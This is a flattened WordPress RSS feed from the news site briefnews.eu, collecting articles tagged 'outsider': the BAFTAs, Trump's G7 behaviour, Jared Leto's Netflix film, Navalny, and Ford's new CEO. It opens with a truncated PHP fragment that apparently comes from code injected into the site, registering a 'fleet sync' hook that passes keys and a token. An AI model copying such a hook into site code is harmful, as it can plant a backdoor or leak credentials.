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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); outsider – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 11 Feb 2019 03:53:49 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png outsider – Brief News https://briefnews.eu 32 32 Bohemian Rhapsody: WATCH Rami Malek’s BAFTA speech ‘Freddie Mercury was GREATEST outsider’ https://briefnews.eu/bohemian-rhapsody-watch-rami-maleks-bafta-speech-freddie-mercury-was-greatest-outsider/ https://briefnews.eu/bohemian-rhapsody-watch-rami-maleks-bafta-speech-freddie-mercury-was-greatest-outsider/#respond Mon, 11 Feb 2019 03:53:49 +0000 http://briefnews.eu/bohemian-rhapsody-watch-rami-maleks-bafta-speech-freddie-mercury-was-greatest-outsider/

Following his Best Actor wins at the and , it wasn’t a big surprise that Malek took the same gong at the BAFTAs. While he missed out on the Critics’ Choice Award to Christian Bale for Vice, Malek now looks incredibly likely to pick up his first Oscar later this month. The 37-year-old actor’s win was one of two of Bohemian Rhapsody’s seven nominations – with the other going to Sound. In his acceptance speech, Malek thanked Freddie Mercury, who he played in the film, calling him “the greatest outsider of them all.”

Malek said: “This is truly extraordinary. Really. Thank you to BAFTA for this gorgeous gift.

“I still cannot believe I’m included with this group of actors I so respect and admire. I share this with you guys. Every moment.

“I thank my lucky stars. It’s quite difficult entering your world in this role as an outsider.

“You Brits, you do it so well. And it’s not lost on me how sacred your musical heritage is. So, thank you, thank you, thank you, for including me.”

He added: “I have to thank Fox and New Regency and our producers – Graham King and Denis O’Sullivan and Dexter Fletcher.

“And this extraordinary cast and crew that I had the blessing…so blessed to work with every day.

“I thank you. I would not be here without each and every one of you.

“Thank you, so very much to Queen. To Brian May, to Roger Taylor, to the entire Queen family. Wouldn’t be here without you.”

He added: “And to the greatest outsider of them all.

“For being so unwavering and unflinching and uncompromising in every which way.

“Thank you Freddie Mercury again.”

The 91st Academy Awards take place on February 24 in Hollywood.

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]]> https://briefnews.eu/bohemian-rhapsody-watch-rami-maleks-bafta-speech-freddie-mercury-was-greatest-outsider/feed/ 0 Trump the outsider gatecrashes own party: Top takeaways from an ill-mannered G7 https://briefnews.eu/trump-the-outsider-gatecrashes-own-party-top-takeaways-from-an-ill-mannered-g7/ https://briefnews.eu/trump-the-outsider-gatecrashes-own-party-top-takeaways-from-an-ill-mannered-g7/#respond Sat, 09 Jun 2018 22:27:45 +0000 http://briefnews.eu/trump-the-outsider-gatecrashes-own-party-top-takeaways-from-an-ill-mannered-g7/ The US’s status as the biggest G7 economy has customarily allowed it to steer the agenda of the club’s summits from its place at the top, the other countries following its lead. But Donald Trump chose a different tactic.

Flouting protocol

There were too many flagrant deviations by the US delegation from established etiquette to consider it a simple sign of Trump’s erratic boorishness. Instead, it appeared that American president was in no mood to compromise, and had every intention to aggravate.

Arriving late to miss a face-to-face with Emmanuel Macron, snubbing Theresa May while leaking pointed comments about her “school mistress” tone, tardiness at the official breakfast on Saturday, and skipping a climate change discussion to leave early, only to give a casual press conference on the way out – all of these were extravagant diplomatic displays of disdain.

While some have reported that Trump simply never wanted to go to Quebec, others believe he is following the well-known conflict strategy in negotiation, in which he scares his supposedly saner counterparts into granting him his wishes just to avoid the greater risks he is prepared to take. The only man with a counter-strategy to the man-with-the-bomb act appeared to be Emmanuel Macron who simply decided to death grip Donald Trump’s hand until it turned an alarming shade of white, though it remains uncertain if the move was effective.

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Russia’s G8 status a red rag

There is no better way to rile up the rest of the G7 than by suggesting that it welcome Russia back at the exact moment when relations between Moscow and the West are hitting a new nadir on a weekly basis.

Trump mentioned this proposal at every single press opportunity, straight-facedly talking about how reintegrating Moscow would be a boon to world peace, and even had the chutzpah to suggest that some (unspecified) countries actually agreed with the proposal.

Discussing Crimea as an Obama-era issue also implied that the current administration may not regard the fate of the peninsula as an immovable issue resulting in eternal sanctions, a contravention of the “not an inch” rhetoric from Europe.

The tariff war isn’t going away easily

Many political rivals and analysts considered Trump’s pet obsessions – such as building that wall – wrong-headed or impractical, believing them to be empty campaign promises or fantasies. They are probably still surprised that the US president did move the embassy to Jerusalem, and actually quit the Iran deal.

And Trump’s trade balance hobby horse is one of his sturdiest, and could single-handedly explain his entire performance in Quebec.

Painting the US as a victim of its haplessness – “the piggy bank that everybody is robbing” including a “brutal” EU – as a result of asymmetrical tariffs, Trump announced his aluminum and steel levies in advance of the G7, and didn’t let the topic go, only to turn around at the last moment and suddenly suggest dropping tariffs altogether.

In one of the mostly tonally odd moments of the entire summit, Trump at one point announced out of nowhere – in a mix between a deadpan joke and a power move – that Canada had agreed to drop all tariffs, with Justin Trudeau standing next to him bemused (“we have a ten out of ten relationship,” Trump told the media).

Still relevant?

With Russia out, none of the BRICS countries were represented at Charlevoix, and economic data shows that with each annual summit the share of the seven keeps falling in relative terms, as the rest of the world catches up.

But libertarian economist Jeffrey Tucker believes the problems run deeper than that.

“The world economy is increasingly decentralized and integrated in a way that eludes control by anybody – whether it’s G7, G8, G20 or G200,” he told RT. “It’s hard to know if in the future these bodies will have much relevance to the way the world economy operates.”

So if it is not their economic heft, and their once-vaunted political unity that these seven countries are projecting what is it exactly that the G7 is offering, either to those posing the “family photo” or those in the wider world?

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]]> https://briefnews.eu/trump-the-outsider-gatecrashes-own-party-top-takeaways-from-an-ill-mannered-g7/feed/ 0 Jared Leto The Outsider Netflix film looks BRUTAL: Release date, trailer for yakuza drama https://briefnews.eu/jared-leto-the-outsider-netflix-film-looks-brutal-release-date-trailer-for-yakuza-drama/ https://briefnews.eu/jared-leto-the-outsider-netflix-film-looks-brutal-release-date-trailer-for-yakuza-drama/#respond Thu, 22 Feb 2018 23:29:00 +0000 http://briefnews.eu/jared-leto-the-outsider-netflix-film-looks-brutal-release-date-trailer-for-yakuza-drama/

Jared Leto never shies away from intense and disturbing roles.

His recent turn as the Joker in Suicide Squad was chilling enough but now he is unleashing an evenmore violent side in teh new Netflix drama.

The Outsider is set in Japan in the years after World War II.

Leto plays Nick Lowell, an American ex-soldier who has risen in the brutal ranks of the yakuza after making an alliance with his cell-mate.

Leto’s prisoner-of-war has somehow gained his freedom in exchange for serving the yakuza but doesn’t seem uncomfortable with his choices.

Instead he appears equally at home at their formal fuctions with geisha girls and sumo wrestlers as he does when he has to save himself from execution by blowing away the three men holding guns on him.

The trailer gives very little away but establishing a tense and sleek atmosphere that will fit right in with Netflix’s most recent raft of dark crime dramas and sensational epics like Altered Carbon and Troy – Fall of a City.

Unsuccessful incarnations of The Outsider have been bubbling under for a few years in Hollywood, with Tom Hardy and Michael Fassbender both previously attached in the lead role.

Leto will return to the DC universe as The Joker in the future alongside Margot Robbie’s Harley Quinn. HOwevere  a new alternate Joker origin movie may go into production in May, with rumoured star Joaquin Phoenix and Martin Scorsese producing.

THE OUTSIDER LAUNCHES ON NEXFLIX ON MARCH 9

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]]> https://briefnews.eu/jared-leto-the-outsider-netflix-film-looks-brutal-release-date-trailer-for-yakuza-drama/feed/ 0 Watch the Trailer for ‘The Outsider,’ a Yakuza Thriller Starring… Jared Leto https://briefnews.eu/watch-the-trailer-for-the-outsider-a-yakuza-thriller-starring-jared-leto/ https://briefnews.eu/watch-the-trailer-for-the-outsider-a-yakuza-thriller-starring-jared-leto/#respond Thu, 22 Feb 2018 19:30:33 +0000 http://briefnews.eu/watch-the-trailer-for-the-outsider-a-yakuza-thriller-starring-jared-leto/ The yakuza, Japan’s rough equivalent to the American Mafia, have inspired some of the best crime movies of all time: Sonatine, Tokyo Drifter, Branded to Kill, Dead or Alive, Graveyard of Honor, Battles Without Honor & Humanity, Outrage, Youth of the Beast, The Wolves, Street Mobster, and, um, The Yakuza. “Oh sure,” said no one ever, “but none of those movies star Jared Leto.” Well, um, good news?

In The Outsider, your least favorite Joker plays Nick Lowell, a WWII American POW who gets out with the help of his cellmate, who wouldn’t ya know it, is in the ol’ Yakuza. So he sets out to pay his debt to the organization, and bloodbaths ensue, you get the idea. Anyway, here’s the trailer:

Credit where due: it’s a snazzy enough teaser (director Martin Zandvliet has real chops), with a fair amount of action and atmosphere. But every time they cut to solemn Jared Leto, it falls apart. Whose idea was this?

The Outsider hits Netflix on March 9.

        

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]]> https://briefnews.eu/watch-the-trailer-for-the-outsider-a-yakuza-thriller-starring-jared-leto/feed/ 0 ‘The Outsider’ Trailer: Jared Leto Joins the Yakuza in New Netflix Thriller https://briefnews.eu/the-outsider-trailer-jared-leto-joins-the-yakuza-in-new-netflix-thriller/ https://briefnews.eu/the-outsider-trailer-jared-leto-joins-the-yakuza-in-new-netflix-thriller/#respond Thu, 22 Feb 2018 16:06:30 +0000 http://briefnews.eu/the-outsider-trailer-jared-leto-joins-the-yakuza-in-new-netflix-thriller/ the outsider trailer

Netflix has released a trailer for The Outsider, a bloody noir starring Jared Leto as a former American POW set in post-World War II Japan.

Leto gets to Last Samurai it up as an American soldier who becomes indebted to the Japanese yakuza, a catch-all for the country’s organized crime, and is forced to navigate Japan’s seedy criminal underworld to repay his debts.

The Outsider Trailer

If you like watching Jared Leto beat people up in Asian-inspired locales, you’re in luck. The last time we saw Leto in a feature film, he was donning a kimono and gutting android women like fish in Blade Runner 2049. Now, he sheds the kimono for a snappy suit and goes to war-torn Japan.

Leto’s hollow cheekbones and blank eyes don’t communicate much — except that he’s a ruthless killer who descends further into madness as he gets caught in the yakuza’s bloody web. There’s really not much to say about this trailer: it’s moody, it’s brutal, and it doubles down on Netflix’s current fixation with Japan — whether it’s through cyberpunk science-fiction (Altered Carbon), anime adaptations (Death Note), or anime itself.

The Outsider has long been in the works. A script was written in 2011 and bounced around to different studios, with high profile names like Michael Fassbender and Tom Hardy attached. But Netflix saved it from development hell when it acquired worldwide distribution rights in 2016.

You can see the stylish poster for The Outsider below.

Danish filmmaker Martin Zandvliet, best known for the Oscar-nominated Foreign Language film Land of Mine, makes is English language debut with the film. The script was co-written by Andrew Baldwin (Bastille Day) and John Linson (producer of Lords of Dogtown).

The cast is rounded out by Tadanobu Asano, Kippei Shiina, Shioli Kutsuna, Emile Hirsch, Raymond Nicholson, Rory Cochrane, Nao Omori, and Min Tanaka.

Here is the official synopsis for The Outsider:

Set in post-WWII Japan, an imprisoned American soldier (Leto) is released with the help of his Yakuza cellmate. Now free, he sets out to earn their respect and repay his debt while navigating the dangerous criminal underworld.

The Outsider is set to premiere on Netflix on March 9, 2018.

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]]> https://briefnews.eu/the-outsider-trailer-jared-leto-joins-the-yakuza-in-new-netflix-thriller/feed/ 0 Life After Putin: The Outsider https://briefnews.eu/life-after-putin-the-outsider/ https://briefnews.eu/life-after-putin-the-outsider/#respond Tue, 13 Jun 2017 09:52:02 +0000 http://briefnews.eu/life-after-putin-the-outsider/

If we’ve learned anything about global politics this past year, it’s to expect the unexpected. Russian President Vladimir Putin is ready to run for another six-year term in 2018, and the 64-year-old has no obvious successor — by design. But what would happen if we awoke to a world without him? This week, OZY examines Life After Putinand points to the players who could ascend if Russia’s singular leader suddenly leaves the stage.

On Monday, as he was leaving his Moscow home, Alexei Navalny was arrested and charged with violating the public order. The disorder went on without him — mass anti-Kremlin protests, from St. Petersburg to Siberia, denouncing government corruption, the second wave this year inspired in part by Navalny’s investigations. The arrest and subsequent 30-day sentence was the latest indignity for the activist lawyer, who recently had his face doused in chemicals by assailants and had to fly to Spain for surgery to restore vision in his right eye.

Nonetheless, he will press ahead with one of Russia’s most dangerous jobs: running for president against Vladimir Putin.

Navalny, 41, is model-handsome, with a cleft chin and a fervent following among the rising post-Soviet generation eager to eradicate government corruption. The young lawyer launched his career in dissent by making small investments in oil giant Gazprom and other publicly traded megafirms, then asking tough questions at shareholder meetings and pushing for transparency.

Alexei Navalny

His crucial instruments are blogs, Facebook and Twitter. Although law enforcement has targeted people for web speech, there’s no “Great Firewall” like in China — at least not yet — so Navalny’s investigations spread quickly among the country’s internet generation. Navalny has taken on everyone from Defense Minister Sergei Shoigu to National Hockey League star-turned-senator Slava Fetisov. A March investigation by Navalny’s Anti-Corruption Foundation into Prime Minister Dmitry Medvedev’s vast real estate holdings via charitable foundations — among other schemes — sparked the mass protests, which could help lead to Medvedev’s ouster.

Navalny could stand a chance against any other consensual elite candidate, other than Putin, in the case of a free and fair election — which is not currently a possibility.

Ekaterina Schulmann, Moscow-based political scientist

Navalny’s donor-funded Anti-Corruption Foundation boasts a staff of 30 who conduct wide-ranging corruption investigations. Though he can seem a bit of a one-note horn player on corruption, the issue resonates for an economically slumping nation. In 2013, he ran for mayor of Moscow and lost to the Kremlin’s hand-picked candidate, Sergei Sobyanin, as Navalny levied election-fraud claims. (Officially, Navalny took 27 percent of the vote, while the incumbent, Sobyanin, earned barely enough to avoid a runoff.) It’s hard to gauge the size of his national support and whether Navalny could win a truly free national election — as some contend — or if he is merely the favorite of a young, Western-leaning niche.

But painting Navalny as a Barack Obama-like figure, inspiring his country’s youth with technologically savvy campaigning, is off base ideologically. His past participation in the right-wing nationalist Russian March, and harsh words about ethnic minorities and immigrants, have drawn comparisons to Donald Trump instead.

As he perfects his outsider-raging-against-the-machine image, Navalny just might have some help on the inside. Anders Åslund, a Russia expert at the Atlantic Council think tank in Washington, says that Navalny deploys drones to snoop on the properties of his investigative targets — a difficult feat to pull off without high-level assistance. “It’s good Navalny is not exposing Putin directly,” Åslund says. “That’s dangerous. That would be a full clampdown. So he takes on the next best thing, and that is Medvedev. And you always have people high up who will think that they should come in [Medvedev’s] place.”

Alexei Navalny

That doesn’t mean Navalny is safe. He has been tossed in jail multiple times — yesterday was merely the latest round — and his popularity has proved to be an asset. In 2013, mass protests helped free him after just one day of a five-year embezzlement conviction. The government, which had revoked his passport for years, granted Navalny’s request to travel abroad for the eye surgery required after the chemical attack. Because of his legal woes, Navalny is technically barred from running for president against Putin in the 2018 election. But he’s doing so anyway, making the rounds and opening campaign offices, though no one is under any illusion that Putin will lose. But if Putin suddenly were not there, and particularly if there is a split within the Kremlin about a successor, Navalny has a built-in constituency. “Navalny could stand a chance against any other consensual elite candidate, other than Putin, in the case of a free and fair election — which is not currently a possibility,” says Ekaterina Schulmann, a Moscow-based political scientist.

But in a standard Russian election (read: rigged), Navalny might be more of a Howard Dean than anything, building an outsider’s playbook for the next person to come along and lead the country. “It’s clear what he’s against; it’s less clear what he’s for,” says Jeff Mankoff, a Russia expert with the Center for Strategic and International Studies think tank in Washington. “I know a lot of the intelligentsia, which is very anti-Putin, is also not particularly enamored of Navalny. I think he’s still in some ways more effective as a gadfly than as an alternative national leader.”

But Navalny does have one quality on which everyone can agree. As Mankoff puts it: “He’s a very brave man.”

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]]> https://briefnews.eu/life-after-putin-the-outsider/feed/ 0 Progressive vs political outsider: Democrats face off in CA special election for House seat https://briefnews.eu/progressive-vs-political-outsider-democrats-face-off-in-ca-special-election-for-house-seat/ https://briefnews.eu/progressive-vs-political-outsider-democrats-face-off-in-ca-special-election-for-house-seat/#respond Wed, 07 Jun 2017 00:40:42 +0000 http://briefnews.eu/progressive-vs-political-outsider-democrats-face-off-in-ca-special-election-for-house-seat/ A state assemblyman campaigning as a true progressive is up against a city official who distinguishes himself as “not a professional politician,” as the two Democrats contest a vacant US House seat in a special election in California tonight.

Voters are to choose a new member of the US House of Representatives in California’s 34th Congressional District which is mostly located in the city of Los Angeles.  

State Assemblyman Jimmy Gomez and former Los Angeles City Planning Commissioner Robert Lee Ahn, both Democrats, are vying to replace former Rep. Xavier Becerra (D), who resigned after Governor Jerry Brown appointed him California attorney general.

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Becerra held the seat for more than two decades.

Both Gomez and Ahn have each set themselves up as the true representative of the constituents in the 34th district – one of the poorest, immigrant-populated districts in the state with a large Hispanic population.

California’s primary system is known as “top two,” whereby the two top finishing candidates in a primary move on to the general election, regardless of their party affiliation. Gomez and Ahn beat out 21 other candidates in the primary, taking 25 percent and 22 percent of the vote respectively.

Gomez has aligned himself with “the resistance” movement against the Trump administration, while Ahn has cast himself as a “political outsider.”

Ahn has attacked Gomez as a “professional politician” and a “corporate Democrat” who has taken money from corporate interests.

“Special interests, big pharma, big bankers… it’s all payback time [for Gomez donors] on day one,” Ahn said during a recent debate, according to the Los Angeles Times. “On Day One, I owe the people of the 34th District and that’s it.” 

On Tuesday, Ahn released a statement on Facebook, pitching himself as “not a professional politician.”

Gomez fought against the claims that he was a “career politician,” pointing to the endorsements he received from Becerra, Governor Brown, Los Angeles Mayor Eric Garcetti and the California Democratic Party, as well as other Democratic leaders and liberal groups.

“If I was so establishment, I don’t think our revolution would actually endorse me,” Gomez said during a debate. “If you want a litmus test, that’s a litmus test if you’re a progressive if you’re actually able to take on the status quo.” 

If Ahn wins, he will be the first Korean-American member of Congress in 20 years, and only the second in history.

“I think our government should reflect the diversity of the electorate. To not have a single voice or a seat at the table is really unfortunate, and has to change,” Ahn said, according to NBC News. “With everything happening on the Korean peninsula, now more than ever we need to have a Korean-American voice in Congress to help build that bridge.”

Gomez, whose state Assembly district overlaps with the 34th Congressional district, is considered to be the frontrunner.

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The polls opened Tuesday at 7:00am and close at 8:00pm.

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]]> https://briefnews.eu/progressive-vs-political-outsider-democrats-face-off-in-ca-special-election-for-house-seat/feed/ 0 In Ford Shakeup, the Company Once Again Turns to an Outsider https://briefnews.eu/in-ford-shakeup-the-company-once-again-turns-to-an-outsider/ https://briefnews.eu/in-ford-shakeup-the-company-once-again-turns-to-an-outsider/#respond Wed, 24 May 2017 13:10:01 +0000 http://briefnews.eu/in-ford-shakeup-the-company-once-again-turns-to-an-outsider/ Ford World Headquarters Building, Dearborn, Michigan

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After 28 years as a loyal company man, Mark Fields was asked to resign from his post as president and CEO of Ford Motor Company on Friday. He’s retiring at age 56 and has been replaced by former Steelcase CEO Jim Hackett, a board member since 2013 who has been heading the Ford Smart Mobility subsidiary for about a year. Fields’s brief three years behind the wheel alongside executive chairman Bill Ford Jr. was a period of record profitability and positive cash flow. But it wasn’t enough.

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Ford’s shares fell almost 40 percent in value since Fields replaced Alan Mulally in 2014, and the discontent with the company’s stock performance appeared to reach new heights at its annual meeting earlier this month. It was then, Reuters reports, that 35 percent of shareholders voted to end the dual-class voting structure that gives the Ford family two-fifths of a vote. The vote didn’t pass, but the message was sent.

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On Monday, both Hackett and Bill Ford sought to play down the role that the company’s lagging shares played in the management shakeup; however, words like “culture” and “hierarchy” came up more than once. It’s clear that Ford wants decisions to be made faster and that he wants the company to get a boost that perhaps only fresh blood can bring.

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Mulally, another outsider, was also mentioned more than once. He came to Ford from Boeing in 2006 to turn the automaker around when it was facing a $ 17 billion loss. Bill Ford told reporters Monday he had promised himself he wouldn’t compare Hackett to Mulally, calling them different leaders for different times. Nevertheless, Ford said, Mulally “really captured the hearts and minds of our employees and made them feel that not only could we win, but we were going to win and they were going to have fun on the journey. And I think that’s something very much that you’ll see with Jim.”

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Whether or not Ford’s 202,000 employees are having enough fun was certainly not the only driving factor in the decision to replace Fields with Hackett. Ford praised Hackett as a “proven, transformational leader” and a “visionary thinker” who can tackle rapidly evolving technologies such as 3D printing, artificial intelligence, and deep learning. Hackett’s elevation also, somewhat ironically, doubles down on a message Fields had repeated: that Ford is transitioning to become an automotive and mobility company. Hackett said Ford Smart Mobility had just 12 employees when he arrived and will soon have 600.

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While Fields may have harped on the mobility message, it seemed to be lost on investors and, at times, confusing to the public. Asked about Ford’s lackluster stock price as of late, Hackett said Monday that share value will follow the company’s performance. “That’s a confidence indicator that comes after we do the things we tell you we’re going to do,” he said. “It’s a consequence. It’s not a leading indicator—it’s after we get things happening.”

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Obviously it’s too soon to say what Hackett’s promotion will do to Ford’s longer-term share value. For what it’s worth, Hackett took Steelcase public in 1998 with an initial share offering of $ 28. The stock reached a high of around $ 38 shortly after the offering, then plummeted. It hovered around $ 15 when Hackett left. Under Mulally, Ford shares dropped to $ 1.39 in the dark days of November 2008 but had climbed to more than $ 16 a share by the time he retired at age 68. Ford shares closed Monday at $ 11.10, up about 2 percent.

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Beyond share price, Mulally was credited with giving the automaker a jolt from outside its ranks and unifying the automaker behind his One Ford plan. “It worked really well,” Hackett said Monday of the plan. “In fact we’re going to use parts of it in the way we monitor success.” But he said the strategy going forward will also need go beyond it to address the complex challenges facing the company, which he likened to a Rubik’s Cube.

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Asked whether he believes a cultural change is needed at Ford, Hackett said, “I would say it’s an emphasis, you know, being more emphatic about parts of the culture that need to come out.” He said bureaucracy and hierarchies at big corporations such as Ford can become burdensome to fast decision making. People should also have fun, he said. “We want people to come to work thinking they can have a great day here,” he said.

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Ford agreed. “One of the things that’s frustrated me over the years has been our obsession with hierarchy within our culture,” Ford said. “And if we’re really going to get the best out of our employees, and really get through teamwork, then we’re going to have to bend that notion of hierarchy within the company. And that is very much a cultural thing.”

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In its bid to streamline the decision-making process, the company has restructured some of its operations, with three new positions that will report to Hackett. Jim Farley has been named executive vice president and president for global markets. Farley will oversee the automaker’s global business units as well as the Lincoln Motor Company and global marketing and sales. He is also in charge of the company’s strategy for electric and autonomous vehicles. He was most recently head of Europe, the Middle East, and Africa for Ford.

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Joe Hinrichs has been named executive vice president and president for global operations. He’ll oversee Ford’s global product development, supply chain, labor affairs, safety engineering, and environmental issues. Hinrichs had been Ford’s executive vice president of the Americas. Marcy Klevorn has been named executive vice president of mobility, overseeing the Ford Smart Mobility subsidiary. The three appointments are effective June 1.

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Mark Truby has been named the company’s vice president of communications, reporting to Bill Ford. He replaces Ray Day, who plans to retire next year and will give consulting services until then. Truby was previously head of Ford’s communications teams in the Asia-Pacific and Europe, Middle East, and Africa regions.

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Before joining Ford Smart Mobility in March 2016, Hackett was an interim athletic director at his alma mater, the University of Michigan, where, to much fanfare, he lured Jim Harbaugh back to his roots to coach the football team. Hackett played on the Michigan football team as a center in the 1970s. He had been at Steelcase for 30 years before retiring.

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The jobs with Steelcase and Ford are not quite as different as size would suggest, Hackett said Monday. “The biggest challenge I had there and we will have here is to have everybody see the future, and that they can see their opportunity in that,” he said. “And secondly, that it’s our right to win there. That we don’t have to cede that to anybody. Tesla, anybody. It’s our right to win there. So I love that challenge, because I know how to do that.”

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]]> https://briefnews.eu/in-ford-shakeup-the-company-once-again-turns-to-an-outsider/feed/ 0 Trump urges Liberty University graduates to embrace being called an outsider: ‘It’s the outsiders who change the world’ https://briefnews.eu/trump-urges-liberty-university-graduates-to-embrace-being-called-an-outsider-its-the-outsiders-who-change-the-world/ https://briefnews.eu/trump-urges-liberty-university-graduates-to-embrace-being-called-an-outsider-its-the-outsiders-who-change-the-world/#respond Sat, 13 May 2017 18:50:42 +0000 http://briefnews.eu/trump-urges-liberty-university-graduates-to-embrace-being-called-an-outsider-its-the-outsiders-who-change-the-world/ Donald Trump at Liberty UniversityDonald Trump at Liberty University

LYNCHBURG, Va. (AP) — Delivering his first commencement address, President Donald Trump on Saturday urged graduates of a Christian university to follow their convictions but to also be willing to stand up to criticism from others who don’t have the courage to do what is right.

Trump kept to an upbeat message in his first extended public appearance since firing James Comey as FBI director this week, saying the lawyer and veteran prosecutor was an incompetent “showboat” and “grandstander.”

The timing of Comey’s dismissal raised questions about Trump’s decision, as the FBI continues its investigation into Russia’s role in the 2016 presidential campaign that ended with Trump’s election.

Trump didn’t mention the fallout over Comey’s firing in his remarks to graduates of Liberty University, a Christian school whose leader was one of Trump’s earliest and most outspoken supporters during the campaign.

Drawing parallels to what was widely viewed as a longshot bid by Trump for the presidency, he urged the more than 18,000 graduates to fight for what they believe in and to “challenge entrenched interests and failed power structures.” A crowd of more than double that size filled an outdoor stadium on campus to welcome just the second sitting president to address the university’s commencement.

“Remember this: Nothing worth doing ever, ever, ever came easy,” Trump said. “Following your convictions means you must be willing to face criticism from those who lack the same courage to do what is right, and they know what is right but they don’t have the courage or the guts or the stamina to take it and to do it.”

Liberty University graduationLiberty UniversityTrump told graduates to “treat the word ‘impossible’ as nothing more than motivation” and to embrace being called an “outsider” because “It’s the outsiders who change the world.”

“The more that a broken system tells you that you’re wrong, the more certain you must be that you must keep pushing ahead,” added Trump, who often complains about being underestimated during the presidential campaign.

Trump, who took office on Jan. 20, also sounded familiar campaign themes about a broken system in Washington.

“In my short time in Washington, I’ve seen first-hand how the system is broken,” he said. “A small group of failed voices who think they know everything and understand everyone, want to tell everyone else what to do and how to live and what to think. But you aren’t going to let other people tell you what to believe, especially when you know that you’re right.”

“We don’t need a lecture from Washington, D.C., on how to lead our lives,” Trump said.

Jerry Falwell Jr., Liberty’s president, helped Trump win an overwhelming 80 percent of the white evangelical vote.

A recent Pew Research Center survey marking Trump’s first 100 days in office, a milestone reached on April 29, found three-quarters of white evangelicals approved of his performance as president while just 39 percent of the general public held the same view.

Christian conservatives have been overjoyed by Trump’s appointment of Justice Neil Gorsuch to the Supreme Court, along with Trump’s choice of socially conservative Cabinet members and other officials, such as Charmaine Yoest, a prominent anti-abortion activist named to the Department of Health and Human Services.

Jerry FalwellLiberty UniversityBut they had a mixed response to an executive order on religious liberty that Trump signed last week. He directed the IRS to ease up on enforcing an already rarely enforced limit on partisan political activity by churches.

He also promised “regulatory relief” for those who object on religious grounds to the birth control coverage requirement in the Affordable Care Act health law. Yet the order did not address one of the most pressing demands from religious conservatives: broad exemptions from recognizing same-sex marriage.

Still, Falwell, who endorsed Trump in January 2016 just before that year’s Iowa caucuses, praised Trump’s actions on issues that concern Christian conservatives.

“I really don’t think any other president has done more for evangelicals and the faith community in four months than President Trump has,” Falwell told The Associated Press in a telephone interview on Friday.

Falwell became a key surrogate and validator for the thrice-married Trump during the campaign, frequently traveling with Trump on the candidate’s plane and appearing at events. Falwell often compared Trump to his later father, the conservative televangelist Jerry Falwell, and argued that while Trump wasn’t the most religious candidate in the race, he was the man the country needed.

Trump has spoken at Liberty University before. He courted Christians there in January 2016 with a speech that drew laughs from some in the audience when referred to one of the Bible’s books as “Two Corinthians” instead of the more common “Second Corinthians.” In that speech, Trump promised: “We’re going to protect Christianity, and I can say that. I don’t have to be politically correct.”

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The 35-year-old actress, who joined the cast for the television adaptation of the 2014 stage production, said she was “nervous” coming onto the project at such a late stage. 

However, she soon found that she could channel her outside status into her character, who is in some respects also an outsider to the aristocracy and the Royal Family.

Speaking at a recent screening of King Charles III, the Tyneside-born star told media including Express.co.uk: “I was slightly nervous about joining the company so late on and I thought, ‘Oh god, the newbie’. Somebody pointed out that’s how Kate is in the family and go with it, so I went with it.”

She added: “But these guys are just so b***dy friendly that that didn’t last very long.”

The Peaky Blinders actress was drafted in to portray the Duchess, taking over from Lydia Wilson and Jennifer Bryden who played the role in the theatre version. 

She was one of the only members of the drama to be brought on for the television film and joined the already established cast, who had performed the play around 300 times in its stage incarnation.

Tim Pigott-Smith, Oliver Chris, Richard Goulding and Margot Leicester were part of the original production when it first started at London’s Almeida Theatre.

Reflecting on joining the cast at such a late stage, Riley explained: “They took me under their wing very quickly, it was great they kindly had lots of time to share their experiences and things they discovered in rehearsals, so I had this wealth of knowledge handed to me from all their investigations along the way. 

“I felt quite blessed really because they’d worked out a lot of that stuff and they filled me in and I was kind of peddled like mad and tried to get up to speed.”

Riley’s character has already been compared to Lady MacBeth due to her ambitions for the throne, however the star has been fiercely defensive of her.

She explained: “I think I see her as being incredibly pragmatic and I think she’s approaching this slightly differently and how people might see how she approaches this.

“She might approach this very practically, this is almost like a business. We need to move in this way, we need to make these choices. 

“I think she makes some bold choices but I don’t think that necessarily makes that a negative slant on her character.”

King Charles III is a future history story that imagines the Queen has died and Prince Charles (played by Tim Pigott-Smith) is set to be coronated as he ascends to the throne.

His refusal to sign a privacy bill into law at the insistence prime minister plunges the monarchy and Britain into a state of anarchy.

Penned by playwright and Doctor Foster creator Mike Bartlett, who has taken his cue from the Bard, King Charles III has been written in blank verse and plays out like a modern-day Shakespearean tragedy complete with prophecy-speaking ghosts and scheming queens-in-waiting. 

King Charles III airs on BBC Two tonight at 9pm.

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